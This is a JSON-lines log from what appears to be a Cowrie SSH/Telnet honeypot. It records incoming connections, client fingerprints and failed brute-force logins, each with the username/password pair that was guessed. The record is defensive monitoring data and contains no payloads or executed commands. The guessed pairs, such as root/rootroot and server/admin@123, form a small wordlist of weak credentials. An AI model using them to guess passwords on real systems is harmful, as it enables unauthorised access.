{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:28.354823Z","src_ip":"45.153.34.97","session":"050c3df14dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:29.487131Z","src_ip":"45.153.34.97","session":"050c3df14dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37804,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6313f345fd6","protocol":"telnet","message":"New connection: 152.42.224.71:37804 (10.17.0.5:23) [session: d6313f345fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:30.445990Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37814,"dst_ip":"10.17.0.5","dst_port":23,"session":"1820d717260e","protocol":"telnet","message":"New connection: 152.42.224.71:37814 (10.17.0.5:23) [session: 1820d717260e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:30.460076Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":42432,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b87503a944","protocol":"ssh","message":"New connection: 45.153.34.97:42432 (10.17.0.5:22) [session: 37b87503a944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:31.914454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:31.918966Z","src_ip":"45.153.34.97","session":"37b87503a944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:32.001562Z","src_ip":"45.153.34.97","session":"37b87503a944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"no","password":"no","message":"login attempt [no/no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:32.250875Z","src_ip":"45.153.34.97","session":"37b87503a944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:33.336933Z","src_ip":"45.153.34.97","session":"37b87503a944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":42440,"dst_ip":"10.17.0.5","dst_port":22,"session":"dec14beef856","protocol":"ssh","message":"New connection: 45.153.34.97:42440 (10.17.0.5:22) [session: dec14beef856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:35.670347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:35.676615Z","src_ip":"45.153.34.97","session":"dec14beef856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:35.768305Z","src_ip":"45.153.34.97","session":"dec14beef856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"admin@123","message":"login attempt [server/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:36.106975Z","src_ip":"45.153.34.97","session":"dec14beef856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:37.191086Z","src_ip":"45.153.34.97","session":"dec14beef856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40970,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0182ff6eb63","protocol":"telnet","message":"New connection: 152.42.224.71:40970 (10.17.0.5:23) [session: d0182ff6eb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:39.190715Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":42454,"dst_ip":"10.17.0.5","dst_port":22,"session":"f914fb557614","protocol":"ssh","message":"New connection: 45.153.34.97:42454 (10.17.0.5:22) [session: f914fb557614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:39.466964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:39.471967Z","src_ip":"45.153.34.97","session":"f914fb557614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:39.571092Z","src_ip":"45.153.34.97","session":"f914fb557614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server","message":"login attempt [ts3server/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:40.167903Z","src_ip":"45.153.34.97","session":"f914fb557614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:41.252830Z","src_ip":"45.153.34.97","session":"f914fb557614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":58674,"dst_ip":"10.17.0.5","dst_port":22,"session":"c229d5eb1a29","protocol":"ssh","message":"New connection: 192.169.250.238:58674 (10.17.0.5:22) [session: c229d5eb1a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:42.137101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:42.140859Z","src_ip":"192.169.250.238","session":"c229d5eb1a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:42.215904Z","src_ip":"192.169.250.238","session":"c229d5eb1a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"universal","message":"login attempt [root/universal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:42.537889Z","src_ip":"192.169.250.238","session":"c229d5eb1a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.07108473777771,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:43.243698Z","src_ip":"152.42.224.71","session":"10c7c7e5646e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:43.613043Z","src_ip":"192.169.250.238","session":"c229d5eb1a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40982,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbd355f2146","protocol":"telnet","message":"New connection: 152.42.224.71:40982 (10.17.0.5:23) [session: dfbd355f2146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:45.567537Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":43406,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c6b18d8afc","protocol":"ssh","message":"New connection: 43.130.38.88:43406 (159.203.135.109:22) [session: 28c6b18d8afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:46.937258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:46.942471Z","src_ip":"43.130.38.88","session":"28c6b18d8afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:47.010080Z","src_ip":"43.130.38.88","session":"28c6b18d8afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345678@","message":"login attempt [root/Abc12345678@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:47.314401Z","src_ip":"43.130.38.88","session":"28c6b18d8afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40158,"dst_ip":"10.17.0.5","dst_port":23,"session":"652641013640","protocol":"telnet","message":"New connection: 152.42.224.71:40158 (10.17.0.5:23) [session: 652641013640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:48.135052Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:48.385980Z","src_ip":"43.130.38.88","session":"28c6b18d8afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.210636615753174,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:49.619057Z","src_ip":"152.42.224.71","session":"7ce730694a4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":49472,"dst_ip":"10.17.0.5","dst_port":22,"session":"63adc3108fd4","protocol":"ssh","message":"New connection: 87.251.79.125:49472 (10.17.0.5:22) [session: 63adc3108fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:53.326373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:53.331750Z","src_ip":"87.251.79.125","session":"63adc3108fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:53.404047Z","src_ip":"87.251.79.125","session":"63adc3108fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"november","message":"login attempt [root/november] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:53.618327Z","src_ip":"87.251.79.125","session":"63adc3108fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:54.692499Z","src_ip":"87.251.79.125","session":"63adc3108fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":37574,"dst_ip":"10.17.0.5","dst_port":22,"session":"765e0aff508f","protocol":"ssh","message":"New connection: 43.135.177.217:37574 (10.17.0.5:22) [session: 765e0aff508f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:56.712594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:56.717339Z","src_ip":"43.135.177.217","session":"765e0aff508f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:56.786574Z","src_ip":"43.135.177.217","session":"765e0aff508f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hong123","message":"login attempt [root/hong123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:57.094319Z","src_ip":"43.135.177.217","session":"765e0aff508f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.067272424697876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:57.792661Z","src_ip":"152.42.224.71","session":"cfebd1b73aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:58.165401Z","src_ip":"43.135.177.217","session":"765e0aff508f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42824,"dst_ip":"10.17.0.5","dst_port":23,"session":"3474fb04319e","protocol":"telnet","message":"New connection: 152.42.224.71:42824 (10.17.0.5:23) [session: 3474fb04319e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:00.321690Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":45578,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dc9e5c7713c","protocol":"ssh","message":"New connection: 43.153.31.20:45578 (159.203.135.109:22) [session: 5dc9e5c7713c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:00.361201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:00.367254Z","src_ip":"43.153.31.20","session":"5dc9e5c7713c","protocol":"ssh"}
